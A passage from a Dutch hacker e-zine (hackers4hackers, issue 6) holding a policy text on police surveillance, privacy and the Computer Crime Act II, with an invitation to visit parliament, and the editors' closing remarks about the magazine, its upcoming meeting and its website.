hebben op burgers. Globaal zicht is dit niet genoeg. Het gaat om zicht op individuen. Zo moeten politie en justitie in het kader van de opsporing weten wie wie is en wie wanneer wat gedaan heeft. Dat brengt haar maatschappelijke opdracht met zich mee. Tegelijk moet daarbij de -eveneens maatschappelijke- norm worden eerbiedig dat respect hoort te worden opgebracht voor de persoonlijke integriteit van het individu (Stol, 1996). Criminaliteitsbestrijding bevindt zich aldus in een fundamenteel maatschappelijk spanningsveld, dat zich openbaart in onze zorg over privacy. De toename van informatie- en communicatietechnologie versterkt dat. De nieuwe mogelijkheden van ICT geven burgers meer gelegenheid wetten te overtreden en bieden tegelijk aan politie en justitie meer mogelijkheden om burgers te 'monitoren'. Kennis is macht; Hogere straffen voor computercriminaliteit zal niets veiliger maken, kennis wel... Hopelijk dat jij ook zin hebt in een dagje parlement, mvg, namens HIT2000 crew Gerrie Mansur Organisator btw: meer informatie over bezoek parlement tijdens behandeling Wet Computercriminaliteit II zal in alt.hit2000.nl gepost worden. Mijn antwoorden & uitspraken zijn geheel voor eigen rekening. tel. 06-24119524 Fun & Secure http://www.hit2000.org Join our RC5 Team! ------------------------------------------------------- 13. Eindwoord ------------------------------------------------------- Zowaar het 6e deel van hackers4hackers is een feit. Dit keer niet door asby maar door bermuda aka berry da clown. Een probleem waar de redactie nog steeds mee kampen is dat we meer lezers post krijgen dan artikelen. Dus we hopen dat dit in de toekomst omgedraaid zal worden. Met de meeting voor de deur hopen we zeker een boel mensen te kunnen spreken en ook proberen om ideeën uit te laten wisselen. Misschien komen daar dan weer artikelen vanaf. Ook zullen we kijken of we een soort van verslag van 4 maart kunnen plaatsen in het volgende deel. (Eerst nog iemand zoeken die dat verslag wil gaan schrijven ;) Ook de website zal de komende tijd flink verspijkerd worden. We willen ook gaan kijken of de delen die in ons archief als zip, tar.gz en of bzip bestanden op de site gezet gaan worden in plaats van de tekst files die er nu staan. Spreek je mening uit over deze stelling op onze nieuwe poll site op : http://www.hackers4hackers.org (De redactie)